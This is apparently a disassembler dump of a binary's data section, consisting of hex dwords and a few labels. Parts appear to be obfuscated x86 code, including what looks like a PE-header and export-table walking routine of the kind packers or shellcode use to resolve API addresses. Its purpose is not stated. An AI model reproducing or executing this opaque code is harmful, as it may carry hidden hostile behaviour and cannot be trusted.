		dd 0E0A0E0C8h, 60C88C66h, 14E9h, 55759600h, 0CF825986h
		dd 0B9B5C3E4h, 0AEF67D7Ch, 311246B5h, 8A0F60E7h, 0
		dd 99D18166h, 246161C1h, 50006A03h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 7F6C7A8Bh, 0AF5350Fh
		dd 0BF850FC0h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0EA95C356h,	6AA6809Bh
		dd 8A0F043Fh, 11h, 0CE9h, 41005500h, 9E97C623h,	0A65595C2h
		dd 30B58D15h, 6A06A990h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 1A47C350h, 10820Fh
		dd 0BE90000h, 8B000000h, 48BB7C5h, 4A22DF66h, 858B1820h
		dd 6A9908Dh, 0AE9h, 0F787BF00h,	0FAFD6642h, 502DF9DDh
		dd 7E860h, 99AE0000h, 8EBF973h,	9E9C8h,	84060000h, 0F9A08F2Dh
		dd 5ABB4C8Ah, 24148961h, 11830Fh, 0CE90000h, 76000000h
		dd 0FBFD4112h, 0C37D23A6h, 0F80585Ch, 0FE244C01h, 830F60h
		dd 61000000h, 0C8A0F5Ah, 0F000000h, 68Bh, 830F00h, 83000000h
		dd 10E924C2h, 0EE000000h, 0A87FEFAFh, 1CDE30EAh, 0D89D029Dh
		dd 66A2D60Ah, 6AFC7289h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0A7F1C351h,	19850F1Dh
		dd 0E9000000h, 14h, 179E521Dh, 5BBE5A99h, 502012AFh, 88F49043h
		dd 5D46B6DAh, 0F3BF0F60h, 0CEC161F5h, 98E0F10h,	60000000h
		dd 830Fh, 61F50000h, 10850Fh, 0BE90000h, 0AA000000h, 0A85A3BD7h
		dd 1D106B7Fh, 8966199Dh, 0E9600272h, 5,	4D9DA96Ah, 0B6BA53DBh
		dd 5F19A56Ch, 6A04CD61h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 9DD1C356h, 60119DA5h
		dd 0A232E681h, 0B70F2F01h, 93E961D7h, 0E9000000h, 0Ah
		dd 31514899h, 23C44364h, 858B525Bh, 6A9908Dh, 30B58DF9h
		dd 0F06A990h, 0C81h, 7E900h, 95930000h,	402654DCh, 1A858D10h
		dd 6A06A943h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 85BEC353h, 714D8363h, 0D0FFF890h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 51C35545h
		dd 0A4FDC047h, 164D46A6h, 28F0F60h, 60000000h, 61FC8A61h
		dd 5E9h, 21734100h, 858977DFh, 6A98A0Bh, 6A61F5h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0D07202C3h, 0DCA248F4h, 666027FBh, 0F18BF38Bh, 0B858B61h
		dd 6A06A98Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 4245C350h, 0F70DF09Ch,	0C3D4C028h
		dd 13E9h, 0C5FC2000h, 0E00F04D2h, 3F87B761h, 0B49B3E5Bh
		dd 0DBC189B2h, 0C840F60h, 0F000000h, 684h, 860F00h, 83000000h
		dd 0A9908DBDh, 850F0006h, 1Eh, 8D85C7F8h, 3F06A990h, 0F000101h
		dd 0D8Eh, 8F0F6000h, 0
dword_583A84	dd 8E98166h, 18E96162h,	0E9000000h, 13h, 0CF803AACh, 0AF3F7B72h
		dd 0AED53236h, 20F3DCDAh, 0CD6E136Bh, 20h, 74C00B00h, 0C708D37h
		dd 8A13BD8Bh, 8B906A9h,	0A6000000h, 75492275h, 30488BFAh
		dd 8A0F9D8Bh, 583B06A9h, 8B157F34h, 4D26BD3h, 18BCA03h
		dd 8A0B8589h, 4EB06A9h,	0C5EB008Bh, 0B858B61h, 0CF06A98Ah
		dd 6E9F9h, 9A60000h, 9EBE2763h,	12E8C08Bh, 0A7000000h
		dd 621FAC89h, 388D00B1h, 9F9669DCh, 0E3F4B9FDh,	810F5256h
		dd 2, 5A59CF8Ah, 0DE9h,	0E203A900h, 5C8DDC7Ch, 344EC062h
		dd 0C2815194h, 7536h, 0F3BF0F60h, 1D226861h, 66600000h
		dd 0FA8BCE8Bh, 0FFF95B61h, 0F605732h, 8Fh, 0C3BB6600h
		dd 5F586187h, 81F18B66h, 0D00406C7h, 0B2B96608h, 19C781ADh
		dd 0F6C4F92h, 0F781C3BFh, 799F4DA9h, 0A2C08166h, 0E93A89CCh
		dd 6, 810B1948h, 0EA83CEDDh, 4AC18A01h,	830F4A4Ah, 3, 81C88B66h
		dd 1EBh, 0A4850F00h, 60FFFFFFh,	6800Fh,	0E8810000h, 711E21F8h
		dd 9E861h, 3C820000h, 64D95E15h, 60CA476Bh, 0E9FEBF0Fh
		dd 8, 0CDDD6622h, 0BE9616CCh, 81575961h, 899BE2C0h, 0C1815A06h
		dd 599Fh, 2810Fh, 0D38B0000h, 8B66F633h, 0E34FFC6h, 5F87F780h
		dd 8193CC80h, 3A66EFC7h, 2860F66h, 8B000000h, 76F781D1h
		dd 661FCCD0h, 810B8AB8h, 0FCC11AEFh, 89D38A64h,	830F313Ch
		dd 2, 850FB2B0h, 0Bh, 6E9h, 0AEDBA000h,	81F1C840h, 0E9D584EEh
		dd 8100B07Fh, 0E9D580C6h, 0F5EB87Fh, 0FE811818h, 0FFFFA71Ch
		dd 16850Fh, 0E9F50000h,	1Dh, 0E1A0E7CFh, 0D740C3C1h, 0C1C1EF91h
		dd 1C8274A3h, 0E9D1BF0Fh, 0FFFFFF7Dh, 97AB2DE8h, 83E92Dh
		dd 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh
		dd 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h, 8B000000h
		dd 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h
		dd 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h,	3178B1Ch
		dd 83202454h, 28A04C7h,	874C084h, 0E875033Ah, 0F2EB4243h
		dd 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h,	5E5F1C24h
		dd 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E9CA8BFFh, 148h
		dd 50h,	54h, 58h, 5Ch, 60h, 64h, 68h, 6Ch, 0B0h, 0B4h
		dd 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h, 0D4h, 0D8h
		dd 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0)
		dd offset dword_583A84+2E4h
		dd 0A150EBh, 92EC858Dh,	0EFBF06A9h, 8975BA2Fh, 0A9942C85h
		dd 85C6FC06h, 6A60C29h,	21B52954h, 0E806A629h, 4, 0EE626829h
		dd 2800Fh, 0DA8A0000h, 94BB6650h, 24448B1Ch, 66525004h
		dd 0F1431BEh, 50BE6631h, 8B585A6Bh, 89CB8B00h, 53042444h
		dd 58B0Fh, 0C1B90000h, 5A26E7AAh, 0B5335158h, 6A63101h
		dd 8CA815Fh, 0FF59CCEEh, 0A60919B5h, 79EB8006h,	8D952960h
		dd 0F806A616h, 20858D61h, 8B06A971h, 0A60859B5h, 0E8D0FF06h
		dd 14h,	25B1C1BFh, 3B9050F7h, 81ACEB7Dh, 0A8946DF8h, 8C2A1229h
		dd 0DE9h, 0D3C15100h, 6EBE774Ah, 2B6CC696h, 89596FC6h
		dd 0A9943085h, 0C0C38006h, 3FE9h, 1B52900h, 5606A633h
		dd 942CB58Bh, 68906A9h,	942C8583h, 5E0406A9h, 0B58D60C3h
		dd 6A992ECh, 6A560FEBh,	0FF36FF00h, 0A9943095h,	0C6835E06h
		dd 3E8304h, 0C361EC75h,	9D89CF8Bh, 6A60F9Dh, 9511858Dh
		dd 8D8B06A9h, 6A60629h,	0F9958B56h, 5B06A625h, 2A918589h
		dd 0EEE906A6h, 68000000h, 970E02C9h, 838A055Ch,	1D76A188h
		dd 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h,	37335375h
		dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh
		dd 20206020h, 2060E0E0h, 0F77B68ACh, 20A1E4A9h,	0A693B2D0h
		dd 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h
		dd 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h,	50F0362Bh
		dd 0B6F360C9h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h
		dd 602060F7h, 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h,	37335375h
		dd 357D2F6Dh, 0E0A1Eh, 0D25D3407h, 1E59A0A3h, 2	dup(0)
		dd 0BFAE900h, 97680000h, 0E906A998h, 0FFFCE757h, 0A9996768h
		dd 0E74DE906h, 3E68FFFCh, 0E906A99Ah, 0FFFCE743h, 0A99AE468h
		dd 0E739E906h, 5268FFFCh, 0E906A99Bh, 0FFFCE72Fh, 0A99C0968h
		dd 0E725E906h, 9968FFFCh, 0E906A99Dh, 0FFFCE71Bh, 0A99E8568h
		dd 0E711E906h, 3368FFFCh, 0E906A99Fh, 0FFFCE707h, 0A9A00268h
		dd 0E6FDE906h, 0BF68FFFCh, 0E906A9A0h, 0FFFCE6F3h, 8510FAE3h
		dd 0CB46ACBAh, 38759F4Ch, 14A14F1Dh, 44D10729h,	650FA805h
		dd 8DF66B3h, 0C1ECABE6h, 0AFB39A17h, 0E46AC845h, 657FDE73h
		dd 4FA5C033h, 7FFD16C1h, 0F7E33365h, 0D5749E48h, 5BC79BE9h
		dd 0B03C6D87h, 6F05A95Ch, 0F3F250AFh, 86726C1Dh, 8E6047CCh
		dd 0CB39E1DFh, 0C5A34919h, 0CC779C3Fh, 817935CCh, 15D0BEF3h
		dd 0A9DD7EF8h, 4D3EB2CFh, 0C9993455h, 0BBAF9623h, 0C9982102h
		dd 0A0124B27h, 8B2CAAB4h, 336ACE66h, 0F9A04A18h, 0E2706A05h
		dd 0CEE60043h, 642E336Ah, 4EEFC2Eh, 2600AF89h, 66219DCCh
		dd 75DAA846h, 86EE9F75h, 45358F8Eh, 7A6A8FB8h, 826327ADh
		dd 59E67CCEh, 453A6389h, 63C83B49h, 6FC89640h, 336AEEC2h
		dd 0DF64FED4h, 0BF54E10Bh, 0F658A304h, 4A443h, 875BCF00h
		dd 0D1913C6Dh, 0E5E0EE3Bh, 0E5ED4E28h, 893EB2C7h, 0D1885E42h
		dd 948F1EDh, 336AF79Ch,	317995E3h, 0C6F4DF50h, 0DF35315Eh
		dd 0D4275D85h, 0C193456Fh, 588B8D24h, 0D49239F6h, 3E4B243Eh
		dd 0F7000000h, 3A24E11Ch, 0E9F61BBCh, 0FEE835CCh, 0DE897514h
		dd 7A006EE4h, 6EE432DDh, 0B2D81D2Dh, 0A0D9313Eh, 6AD9C461h
		dd 37BDBB33h, 6AD96F84h, 0CB997133h, 0B269ED27h, 0F1F65894h
		dd 0C5h, 3E875BB1h, 39A5C412h, 0CFF11C4Dh, 3D2D6019h, 4B1FB6D7h
		dd 0F92514A1h, 9D35CCEDh, 0A3EA27CDh, 0DE3455BFh, 0DF78E61Fh
		dd 3EB2D0E7h, 0C08E1BF7h, 0CD6E0805h, 3812614Ch, 20AEC822h
		dd 3C90319Ah, 2C863882h, 11C7E956h, 0AA08BF57h,	9DE3770Eh
		dd 4027F2F1h, 6E463293h, 19BDE657h, 48095B90h, 0D48723CDh
		dd 3882DFBFh, 4BB54DA1h, 7DEEF3BBh, 0EE4C681h, 1077635Fh
		dd 8EEA7035h, 142147C6h, 0CC000009h, 99A4F11Bh,	0A3EA27CDh
		dd 7ED954BEh, 0A35806Eh, 2665B066h, 92446887h, 0C7293807h
		dd 0F620C34Ah, 24CE9CBBh, 540789E9h, 3365713Fh,	5BBC8621h
		dd 0D016FB9h, 0FE448392h, 451C568Eh, 0B702E8FAh, 24E11C7Bh
		dd 0D8E9913Ah, 158D3EB2h, 0C6B8D574h, 2BC7336Ah, 8BA65DD9h
		dd 0BAE5F658h, 0AD000000h, 3C6D875Bh, 39EF91h, 0CCEDD5C1h
		dd 5BB1B135h, 0D7F966CEh, 1ECC7301h, 807D55F4h,	8670DB85h
		dd 213EB2D0h, 2746ACBAh, 22CC9CBBh, 56CD877Bh, 0A8D13B2Fh
		dd 7CF5A36h, 699A3DC6h,	7F336AC6h, 6EC99783h, 3812641Eh
		dd 0B31846BCh, 609B4391h, 53F05991h, 0C4422A67h, 822CFE13h
		dd 780AE038h, 88FF29CBh, 8EEA8DC3h, 44B33558h, 3C000008h
		dd 0C974C12Bh, 93BAF71Dh, 0AEE924CEh, 7AC550BEh, 0F6358056h
		dd 62B45857h, 977968D7h, 0C610331Ah, 0F41ECC4Bh, 8437B9B9h
		dd 3365706Fh, 7A4CD671h, 8C0EE08Ah, 0ACA605AEh,	1EAB7D67h
		dd 0AB3337h, 35CC28E3h,	94211DF5h, 6D875B5Ah, 3BD1913Ch
		dd 4248F5EEh, 66EC8A83h, 5801D7F9h, 2BABEC66h, 0C33EB2F5h
		dd 71C853D7h, 56303211h, 0A043C6E9h, 3CC89A76h,	0B11A44C1h
		dd 3BDC720Dh, 88399218h, 9E39D860h, 19F12E24h, 0C16B6A60h
		dd 645E0FE5h, 603051FAh, 0CC2639D8h, 0A30896D0h, 1EB32480h
		dd 39D860h, 13A4BEAAh, 32A393DAh, 0B85616BDh, 1DCE75AAh
		dd 0F65D1BF7h, 0A5831EF4h, 87357E69h, 845B4B9Dh, 0FB4CED5h
		dd 0EF4EB15Bh, 0E0897C19h, 76D0B6Dh, 40650000h,	36301FAAh
		dd 0E5C641DCh, 0D58BB20Fh, 0BDA7EE3Bh, 328BDE6Bh, 0F04D9B85h
		dd 2D789655h, 1CA97F62h, 4EDB3131h, 54FD5EE0h, 5A336573h
		dd 875B132Fh, 17D63C6Dh, 345583ADh, 2790DECAh, 3EB2FCA7h
		dd 0CE5BB7h, 8D2E48C5h,	38116C54h, 23CD933Ah, 0A0822937h
		dd 9250FF4Ah, 0CC9C178h, 74C477F1h, 1A33F8D7h, 5B4EC6A0h
		dd 0F0953152h, 973B7DCBh, 878291BFh, 0A89A59A4h, 6AF4E002h
		dd 3507A0C1h, 65CB626h,	0C52F3398h, 0F71DCD48h,	807D7856h
		dd 1CB975E6h, 0B52D2D4Bh, 995BD152h, 167E681h, 6C7h, 0C944AEBFh
		dd 2772984Eh, 14A14B18h, 58D53B29h, 8805D3FDh, 31D3DC71h
		dd 0FCE3AAE7h, 95B88712h, 9B4FF643h, 0B03E2471h, 6573EA07h
		dd 0C949FC33h, 3A24E11Ch, 0B77E9391h, 301EF63Eh, 0BC42644Ah
		dd 17832032h, 2AC0E249h, 58B2B09Fh, 9641CF21h, 33656D7Dh
		dd 11FD7763h, 9C3F39D4h, 381B785Ah, 0EE41A61Ch,	0C18EE9BBh
		dd 659284Ch, 5C090000h,	0ADC7BB6h, 0F9EA55E0h, 0A9BF8613h
		dd 0A143CA47h, 4EEF3A77h, 0DC69BFA1h, 19C7271h,	70CD1B06h
		dd 0A2FF15D5h, 689932BCh, 7E336572h, 0FC7A77CBh, 0CCE9365Bh
		dd 0ACC63835h, 0BAE08045h, 626AF8D4h, 46CCAA63h, 5123C999h
		dd 0B76475EEh, 0C1AF1B3Eh, 87A64C1Ah, 7CDB491Bh, 0E09846Eh
		dd 0FE13C45Ch, 0E0336558h, 0EB501E0Ah, 0E0451FC9h, 5412EBEAh
		dd 3F1351B8h, 0EE6A8E04h, 577A62A7h, 66CC8672h,	1E4687F5h
		dd 0B1BF2B38h, 17C0580Ah, 389E24FAh, 8F1AF6ECh,	1148A280h
		dd 0A7C13CB9h, 0E03FFA34h, 85A5EC33h, 0D6C22C3Ch, 7C9085FAh
		dd 6078840h, 5A2E6h, 7F955200h,	0A9431B22h, 0DA30311Ch
		dd 0EE0C04Fh, 3EE894B3h, 0EA0558E3h, 0BA8510C6h, 4DC845ABh
		dd 1E3974A2h, 0B6BA64Ch, 75B1D285h, 4A73365h, 6D875B3Eh
		dd 3BD1913Ch, 28E5E0EEh, 0C7E5ED4Eh, 11893EB2h,	16C4E857h
		dd 9C22CF2Eh, 41F8D48Fh, 4EA6075Dh, 592BC1E1h, 6ADE49E6h
		dd 87A3633h, 589F558Ch,	6314F6h, 0B04C0000h, 540B50C4h
		dd 734DCABAh, 1C354D07h, 0BC3A24E1h, 0BF54C140h, 0DA8F17B2h
		dd 0B9950930h, 9B6268ABh, 9E743EB2h, 9DA81EFh, 812E91E3h
		dd 0FE336A9Ah, 2041EA70h, 36336A9Ah, 0DF6671D8h, 0FDE99D27h
		dd 0E77D9352h, 964DC93Bh, 20F658CDh, 0E82F68ECh, 0B7193E37h
		dd 0DBFBB9D1h, 94CF8571h, 0FEh,	6D875B1Eh, 39EF913Ch, 0F71DCD00h
		dd 0C52B3F56h, 553D474Bh, 25433FB7h, 1B4593BEh,	0CCF213B0h
		dd 0D7AD0535h, 0F667BF9Ah, 994635CCh, 4AE750C8h, 5C35CCF6h
		dd 4BF88A66h, 843D2E97h, 2D5C48A2h, 7D2CC2E2h, 6CB99581h
		dd 69835B00h, 0F273CA30h, 0B494BE99h, 47A9BFD8h, 19A6BC26h
		dd 0CD66D149h, 0D335CC9Bh, 12520BE7h, 2F5EB4B5h, 9BFD16C1h
		dd 0F7E335CCh, 87517C1Bh, 49C401CDh, 293AA12Fh,	48A284C3h
		dd 0B715993Ah, 89613EB2h, 0C97563Ch, 8D05D3F0h,	305B9D39h
		dd 336A8893h, 3B472985h, 0B670DC49h, 47ADBDDAh,	6AAA0D6Bh
		dd 78381212h, 557FE482h, 650F3683h, 4FB54CB3h, 47C68EEAh
		dd 41221h, 0FE5C200h, 39D38BB2h, 6A80A1ECh, 9E7070DFh
		dd 0CE180403h, 1A952873h, 2A15A076h, 0FD58D53Bh, 8E8904D2h
		dd 7BFB36DCh, 742142F5h, 94373365h, 6FB95B8Eh, 9D776BD2h
		dd 0E11CF600h, 51CA3A24h, 749E48BAh, 10F9E9D5h,	822F883Fh
		dd 9435CC8Eh, 0A230423Eh, 0B2BF0109h, 8CBD153Eh, 6A7E204Dh
		dd 61935F33h, 5833CEE5h, 0BD8DF6h, 5B350000h, 0A4036D87h
		dd 0B5186A84h, 0F9A0761Ah, 9BF59F77h, 0AC97E2FBh, 0DEB965D6h
		dd 0DDD35CCh, 0FFE3AAE7h, 0C1EC4B15h, 0F68C7617h, 877E7F57h
		dd 9C7272D9h, 2FFF58C6h, 4F3EB2F2h, 0A65EC653h
		dd 9210467Ch, 0E50BD977h, 216E5A44h, 6D99EB01h,	4DCB9570h
		dd 7128C6E6h, 0BBE208DEh, 0A6196B47h, 381214FDh, 0E2491783h
		dd 0E14E28FEh, 847E2FC5h, 0E894B3CEh, 5140C93Eh, 36578EEAh
		dd 326B6h, 0E309DE00h, 15FFEF56h, 46ACBD98h, 729C4CCBh
		dd 0A2741827h, 7E79D417h, 0E098452h, 0D964B15Fh, 0EA55E036h
		dd 9F8712F8h, 770DA611h, 0E8133365h, 6FB95BAAh,	9D776BD2h
		dd 9E4874D3h, 5B718DC4h, 0A4036D87h, 0AB1A6882h, 11AC4664h
		dd 12D3D964h, 84DA7DFBh, 523EB2F5h, 9251FE78h, 83D1CD7Ch
		dd 128344C7h, 0C302DFA5h, 39A62C4Ah, 0FB0C228h,	94697877h
		dd 37E6DE36h, 3DB2D32Ah, 6B128827h, 2F2D0905h, 0B22FD823h
		dd 7C9954A0h, 980C59F2h, 0E0DA8F36h, 0E709D986h, 0EDC7B1D1h
		dd 0FE4B27EFh, 6799357h, 0E40E7AF3h, 7887E164h,	68000002h
		dd 3D18957Fh, 0CF76C329h, 9AA5F01Ah, 0AEE924CAh, 82D95482h
		dd 36E08C2Bh, 638D5CFBh, 92446FD6h, 0C02A3807h,	0C863ED75h
		dd 3365765Bh, 7A181A4Dh, 2F4D338Ah, 0CC6C678Ch,	0A1910935h
		dd 410E2314h, 55FA885Eh, 0D8717B95h, 4C8DA27Fh,	24A12950h
		dd 322C8FE9h, 0C43EB2B5h, 5B47A9BDh, 0D58C31C5h, 0A3FEEAC6h
		dd 4A8B81B6h, 0CC02B5B3h, 0AA3814D4h, 7AAFEC30h, 2DFC1635h
		dd 1E9440D1h, 0CF8505CBh, 214FC607h, 68DB00B6h,	0FFEF16F7h
		dd 9E8A7415h, 0DB1C3CD0h, 0E961BA5Ch, 1C3B17FDh, 1C86A771h
		dd 0EEEFE746h, 61EE4917h, 77EE376Eh, 7476DD9Bh,	0C264BECh
		dd 9D8E2E5h, 235C46E7h,	0C74EDBB7h, 699609E3h, 1EC50F6Dh
		dd 1A9096Fh, 8C590000h,	7A6C2B66h, 293A0590h, 19CF76C3h
		dd 0F193BAF7h, 0FE5FEA27h, 8C19CFF1h, 0F14CA281h, 207DAB56h
		dd 12AF4565h, 0B829820Ch, 0AE336549h, 875B277Bh, 17D63C6Dh
		dd 2BC770FEh, 333EB2CBh, 0A5914AC7h, 531DF8F5h,	0CAC162D5h
		dd 0B690336Ah, 0D39CAACBh, 156F5BF4h, 6AA2C8Fh,	564C3814h
		dd 953849D2h, 0FCF9C18Ch, 7ED96701h, 0F3F305D5h, 0F95EFDBh
		dd 8D1E1AACh, 0A7C63CF8h, 957AE2Fh, 52EF21AEh, 9DDB37F2h
		dd 84DE3436h, 5BB1B11Eh, 0BCAE66CEh, 0A0689078h, 27F193BCh
		dd 2AC4E62Dh, 5FE4A3E8h, 0A6CF3196h, 0C53EAD85h, 0D1886247h
		dd 0A205F1EDh, 0C8AA474Bh, 0EC0F691Ch, 0E4000000h, 0B19C29C3h
		dd 7BC25FB5h, 16318C66h, 226DB856h, 0E5DE83Eh, 0CA1C00AFh
		dd 0FF11D07Fh, 2EF89BA2h, 5CB6B493h, 7CDF61C1h,	336549D7h
		dd 5B94AED9h, 0D63C6D87h, 5482AD17h, 93DDC935h,	0B2C5E238h
		dd 501EF43Eh, 0F5C061CAh, 74E7336Ah, 336AF5DFh,	40BEE9C1h
		dd 0AECC0094h, 8DCAA666h, 6F2230DEh, 0C1AF6667h, 0FBA2481Ah
		dd 74E74D07h, 38111500h, 0C71538A7h, 0FCD4595Eh, 847C68F4h
		dd 0F4E889Ah, 9C334179h, 1AC80726h, 556C43F4h, 68587B0Ah
		dd 0E07032A0h, 9ED8B434h, 0AA46F666h, 85A4B72h,	0F61CCE49h
		dd 0F21CC368h, 308ECD60h, 731E9B3h, 19CFF259h, 0FB57FC5Fh
		dd 61592030h, 67B5CF13h, 311CA943h, 63A2DB31h, 0BDDC07Dh
		dd 0DA266E1Fh, 0D1687AA8h, 0B500FC12h, 0B32D88Ah, 866C7EE5h
		dd 0F369FBE7h, 3, 5B821E57h, 9E316882h,	0C80726CCh, 3B4AF325h
		dd 7C93CA24h, 0A8E78650h, 0E42B5284h, 0DC732AC4h, 944E50Fh
		dd 0A496B75Dh, 3D9F68h,	242C8900h, 81E38953h, 4C3h, 4EB8100h
		dd 87000000h, 895C241Ch, 0EE68242Ch, 89000077h,	0BF57240Ch
		dd 6A996B8h, 89F98951h,	545F59CDh, 81240C8Bh, 4C4h, 0BD555200h
		dd 8, 15DEA89h,	5A2A89CAh, 56240C8Bh, 0C681E689h, 4, 4C681h
		dd 34870000h, 34FF5C24h, 0C4815D24h, 4,	0FCDB6AE9h, 0FAC594FFh
		dd 0A9A1D0B8h, 0FFC50306h, 0FF9992E0h, 8F0FA034h, 0D5FBE238h
		dd 4B74EB2Bh, 90011B59h, 0E8D77D1Eh, 619B0B67h,	7E7F0508h
		dd 7CD5FD30h, 2807174Eh, 6DF0EE22h, 0E0A33Ah, 0DAB9FB5Eh
		dd 6296DC3Fh, 3F8FC269h, 6DE4DB55h, 9C6A8047h, 0F05FE637h
		dd 115A7108h, 0AA977B44h, 423EF440h, 84E07560h,	44A3DB0Dh
		dd 0DA47AD06h, 0E9EBE2Ch, 0F977C437h, 8F393C43h, 9E831h
		dd 0FB080000h, 3BCBE583h, 0E9AB312Eh, 8, 0E0C46238h, 55F2B08Ch
		dd 0C8BF0F5Bh, 64C3C381h, 0ACB80000h, 0BE2AC7A3h, 371DB931h
		dd 0A03BF681h, 0C080371Dh, 6633FF8Ah, 815ACB8Bh, 9622E7EAh
		dd 0DBD88149h, 817024A0h, 5C119FEAh, 8111B159h,	0F372C4C2h
		dd 0FE91Bh, 33DC0000h, 47894075h, 0B2C4EC8h, 4558870Ah
		dd 0F5138934h, 0E901EB83h, 14h,	23E97164h, 47B5892Eh, 0A4ACE0A4h
		dd 0BB03D0B7h, 33E1A2D7h, 814B4B4Bh, 0BFFB08CFh, 1EE8128h
		dd 0F000000h, 0FFFF9885h, 0AFBF66FFh, 75E98Dh, 66600000h
		dd 4A8D88Ch, 35840Fh, 16A0000h,	2F8DB5FFh, 858D06A6h, 6A97120h
		dd 8589D0FFh, 6A62A01h,	0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
		dd 1000Dh, 2A0195FFh, 32E906A6h, 0C6000000h, 0A60C2985h
		dd 0DF685606h, 0FFA9C530h, 0A60919B5h, 20858D06h, 0FF06A971h
		dd 0E58589D0h, 8D06A625h, 0A60D9D85h, 206A5006h, 0FF56056Ah
		dd 0A625E595h, 0C1C36106h, 4FEB06E0h, 0FA251C8Fh, 0C6A108ABh
		dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h,	0D129B327h
		dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 7F00A6DBh, 1A004736h
		dd 0D5A3EAh, 9C000000h,	0FECA19h, 0FBFE4A00h, 87000000h
		dd 2352DDB4h, 9C9ED920h, 0E977E733h, 121Eh, 446678BFh
		dd 51BD835Ch, 6A614h, 1F850Fh, 8B660000h, 0B8CEh, 8B600000h
		dd 0A610B18Dh, 4D950306h, 6106A613h, 10004C2h, 0A61171B5h
		dd 66C08B06h, 5C8FE781h, 1EA5BD83h, 750006A6h, 9DBD8309h
		dd 6A62Fh, 53501374h, 0D0B8C08Bh, 8D000004h, 0A8A3409Dh
		dd 5BD3FF06h, 9DBD8358h, 6A62Fh, 53501174h, 4D0B8h, 8D9D8D00h
		dd 0FF06A8A2h, 60585BD3h, 2ECD8523h, 12E906A6h,	0DB000000h
		dd 32353495h, 0B15D2D52h, 0B24763E9h, 777E778Ah, 0D18B6192h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 93F90BC3h, 0E9C19F0Ah, 9,	0A56F8C4Dh, 0FEA14E57h
		dd 1F858D4Fh, 6A06A9A4h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0D00C351h, 57922707h
		dd 32B72665h, 9ED8D8Bh,	8B9006A6h, 0F2B250D6h
		db 90h,	66h
word_584F4E	dw 0D981h		; DATA XREF: ___:00436EFCo
		dd 858DC9CBh, 6A9A3DCh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 99C35646h, 0A149DD0Ah, 609ECDA7h, 68B0Fh
		dd 95890000h, 6A63205h,	10E8h, 0F2AFBB00h, 4141AECAh, 0E0FF212h
		dd 0B8F71D32h, 8B0FB8h,	5E000000h, 0CE95061h, 21000000h
		dd 9D9627CBh, 0E00B3284h, 8990188Dh, 85892404h,	6A619F5h
		dd 8E195FFh, 0BD0306A6h, 6A61B5Dh, 424448Bh, 26899D89h
		dd 858906A6h, 6A9A407h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0FC35141h, 68997582h,	0BE9EFDDh, 0AF000000h
		dd 621BDAF7h, 0F363F595h, 448B3A79h, 89FC0824h,	0A9A41B85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 83FCDE76h, 0A63379BDh, 850F0006h, 0E8h
		dd 0E992B760h, 7, 0DFAD6283h, 61FE1D63h, 0BE860h, 0B0530000h
		dd 2BB60933h, 0AB695BB0h, 71B58BF3h, 5906A608h,	0F98D8B53h
		dd 5906A609h, 2985C661h, 4706A60Ch, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 68C35545h, 9BF8AF61h, 0F4402ABEh
		dd 0BE60F878h, 1E4D3716h, 14199D29h, 686106A6h,	0EEB102D3h
		dd 1243481h, 293A2BA5h,	0A6191595h, 19B5FF06h, 6A06A609h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0EF6CC350h, 7A780AF2h, 8DD08A5Bh,	0A9712085h
		dd 0E1BD8B06h, 0FF06A615h, 0BD2951D0h, 6A610DDh, 79858959h
		dd 6A06A633h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0FA07C357h, 1880F9Fh, 0F5000000h
		dd 290DBD83h, 0F0006A6h, 12E85h, 13E900h, 99D10000h, 3F0482CCh
		dd 0BD6166BEh, 3A53F022h, 484A5A8Dh, 2985C6A8h,	4706A60Ch
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 61C35242h
		dd 0AF997295h, 336859A0h, 668581D7h, 3481F98Bh,	8E62D124h
